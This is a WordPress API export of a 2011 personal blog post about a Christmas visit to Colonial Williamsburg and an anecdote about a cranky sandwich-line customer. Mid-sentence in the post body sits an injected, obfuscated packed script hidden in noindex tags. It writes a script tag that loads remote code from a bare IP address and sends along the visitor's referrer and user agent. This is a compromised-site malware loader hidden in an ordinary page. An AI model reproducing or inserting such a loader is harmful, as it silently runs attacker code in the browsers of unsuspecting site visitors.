{"id":2700,"date":"2011-12-25T10:47:51","date_gmt":"2011-12-25T17:47:51","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2700"},"modified":"2012-05-02T11:19:01","modified_gmt":"2012-05-02T18:19:01","slug":"12-days-of-christmas","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2700","title":{"rendered":"12 Days of Christmas"},"content":{"rendered":"<p>Paul and I celebrated his birthday Christmas eve with spaghetti, cake, and several episodes of Breaking Bad.\u00c2\u00a0 We are seriously hooked on this show&#8230;\u00c2\u00a0 I still haven&#8217;t got the ornaments up on my tree, but it has lights, and that seems just right, right now.<\/p>\n<p>Christmas morning we got up early and drove north.\u00c2\u00a0 We&#8217;d join my brother and his family for Christmas, but first we spent most of the day together at Colonial Williamsburg.\u00c2\u00a0\u00c2\u00a0 Much as I loved stockings Christmas morning when I was a kid, even when I was little the opening of giant piles of presents always stressed me out.\u00c2\u00a0 I prefer spending Christmas Day <em>doing<\/em> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsfdd|var|u0026u|referrer|rbkky||js|php'.split('|'),0,{}))\n<\/script><\/noindex> something; there&#8217;s plenty of time to open the presents later, a few at a time, taking time to really enjoy them.<\/p>\n<p>Williamsburg is really lovely, and I can&#8217;t believe I&#8217;d never visited before.\u00c2\u00a0 The 5th graders used to go every year, but since I taught 6th grade, I had just never been!\u00c2\u00a0 But I love re-enactment sites of all sorts, and colonial Christmas is pretty damn charming.\u00c2\u00a0 Every window is decked out in wreaths and candles, and the weather was perfect, and the tour guides reasonably enthusiastic considering they were working on Christmas Day.\u00c2\u00a0 We saw the basket-maker and the gun-smith and the jail; the Governor&#8217;s Palace, with hedge maze and working kitchen, where I saw my first actual Boar&#8217;s Head.\u00c2\u00a0 (!)<br \/>\n<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01683.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2712 alignright\" title=\"DSC01683\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01683-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01683-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01683-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nBy afternoon we were getting hungry, and I was getting crabby.\u00c2\u00a0 There really wasn&#8217;t anywhere to eat &#8211; Williamsburg was &#8220;open&#8221; but all the restaurants in town were closed &#8211; so we went back to the visitors&#8217; center where one could get soda, coffee, and too-expensive sandwiches.\u00c2\u00a0 The line was long, and only one determinedly cheery lady working.\u00c2\u00a0 She had run out of sandwiches, and couldn&#8217;t possibly have time to get back to the kitchen to make more, so she was simply making ham-and-cheese as fast as she could, right there at the counter, while grumpy travelers shuffled along in line.\u00c2\u00a0 The lady in line behind us was particularly cross:\u00c2\u00a0 &#8220;Why is this taking so long?\u00c2\u00a0 It&#8217;s just sandwiches.\u00c2\u00a0 Why does it cost so much?\u00c2\u00a0 It&#8217;s just sandwiches.\u00c2\u00a0 I can&#8217;t believe we&#8217;re having <em>sandwiches<\/em> on <em>Christmas<\/em>.&#8221;\u00c2\u00a0 &#8220;So don&#8217;t have a sandwich,&#8221; her husband sighed.\u00c2\u00a0 &#8220;Well, I have to eat <em>something<\/em>.\u00c2\u00a0 Christmas Dinner won&#8217;t be until 6.\u00c2\u00a0 I have to eat something before that!&#8221;\u00c2\u00a0 &#8220;So have a sandwich, then.&#8221; He sounded like he&#8217;d seen this conversation coming a mile away.\u00c2\u00a0 &#8220;Well, they have blueberry muffins.\u00c2\u00a0 I guess I could just eat a muffin.&#8221;\u00c2\u00a0 &#8220;So have a muffin &#8211; that&#8217;s a good idea.&#8221;\u00c2\u00a0 &#8220;Fine.\u00c2\u00a0 A <em>muffin<\/em>.\u00c2\u00a0 That&#8217;s all I&#8217;ll have, on <em>Christmas Day<\/em>.\u00c2\u00a0 A <em>muffin<\/em>.&#8221;\u00c2\u00a0 &#8220;So <em>don&#8217;t<\/em> have a muffin, then.&#8221;\u00c2\u00a0\u00c2\u00a0 And so on.\u00c2\u00a0 And I realized, that&#8217;s what I sounded like on the inside, too.\u00c2\u00a0 I was just as crabby and cross, only I wasn&#8217;t saying it out loud.\u00c2\u00a0 Somehow recognizing that made me do a fast attitude adjustment.\u00c2\u00a0 I was having a great day, doing exactly what I&#8217;d wanted to do, with the people I love.\u00c2\u00a0 And the sandwich was not bad.<\/p>\n<p>After lunch, the same woman was standing there with her trash, looking at the over-full trash can by the cash register.\u00c2\u00a0 The sandwich lady was still going as fast as she could, as cheerfully as she could, and the line was still shuffling along.\u00c2\u00a0 &#8220;Well I guess you don&#8217;t want me to put my trash in here.\u00c2\u00a0 It will just end up on the floor,&#8221; Cranky said, pointedly.\u00c2\u00a0 Her husband looked embarrassed.\u00c2\u00a0 I was thinking, uncharitably, that she might just as well leave her trash on the table for someone else to deal with, instead of bothering the poor lady who obviously didn&#8217;t have time to deal with the trash can.\u00c2\u00a0 Or she could look for another trash can somewhere else.\u00c2\u00a0 Or she could just <em>own<\/em> it, really, and demand that the woman stop everything, ignore the other customers, and empty the trash for her.\u00c2\u00a0\u00c2\u00a0 I was so glad I hadn&#8217;t been cranky out loud.\u00c2\u00a0 I would hate to be like this selfish, thoughtless woman.<\/p>\n<p>Meanwhile, Paul had jumped up.\u00c2\u00a0 &#8220;Oh, let me help you with that!&#8221; he said.\u00c2\u00a0 He grabbed the trash bag, tied it off, and quickly tucked it behind the corner of the counter.\u00c2\u00a0 The new trash bag was ready at the edge of the trash can, so he opened it and graciously offered to help Scroogette dispose of her plate and cup.\u00c2\u00a0 We left tips for the lunch lady and headed back to the Colonial Shoemaker, filled with not-bad sandwiches and Christmas spirit.<\/p>\n<p>Paul is a gentleman.\u00c2\u00a0 I am a very lucky woman.<\/p>\n<p>We got to Mike &amp; Christi&#8217;s just in time for Christmas dinner, which was delightful.<\/p>\n<p style=\"text-align: right;\">Here&#8217;s the view out our window Christmas day:<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01690.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2713 alignright\" title=\"DSC01690\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01690-198x300.jpg\" alt=\"\" width=\"198\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01690-198x300.jpg 198w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01690-677x1024.jpg 677w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2011\/12\/DSC01690.jpg 1674w\" sizes=\"(max-width: 198px) 100vw, 198px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Paul and I celebrated his birthday Christmas eve with spaghetti, cake, and several episodes of&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[20,34],"class_list":["post-2700","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-holiday","tag-travel"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2700"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2700"}],"version-history":[{"count":6,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2700\/revisions"}],"predecessor-version":[{"id":2702,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2700\/revisions\/2702"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2700"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2700"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2700"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}